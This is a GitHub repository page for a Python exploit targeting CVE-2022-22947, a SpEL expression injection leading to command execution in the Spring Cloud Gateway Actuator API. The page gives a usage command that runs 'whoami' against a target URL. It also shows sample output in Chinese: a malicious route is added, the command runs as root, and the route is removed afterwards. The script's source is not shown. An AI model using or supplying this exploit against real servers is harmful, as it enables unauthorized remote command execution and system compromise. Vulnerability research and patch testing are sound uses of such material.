GitHub - Le1a/CVE-2022-22947: Spring Cloud Gateway Actuator API SpEL表达式注入命令执行Exp

Le1a / CVE-2022-22947 Public

Notifications You must be signed in to change notification settings
Fork 2
Star 2

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行Exp

Notifications

Name		Name	Last commit message	Last commit date
Latest commit History 12 Commits
CVE-2022-22947.py		CVE-2022-22947.py
README		README

Repository files navigation

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行Exp

Use：python3 CVE-2022-22947.py -u "http://127.0.0.1:8080" -c "whoami"
Result：
添加恶意SpEL表达式路由成功！
路由刷新成功！
攻击结果获取成功: 

================================================
root

================================================
恶意路由已删除！
路由刷新成功！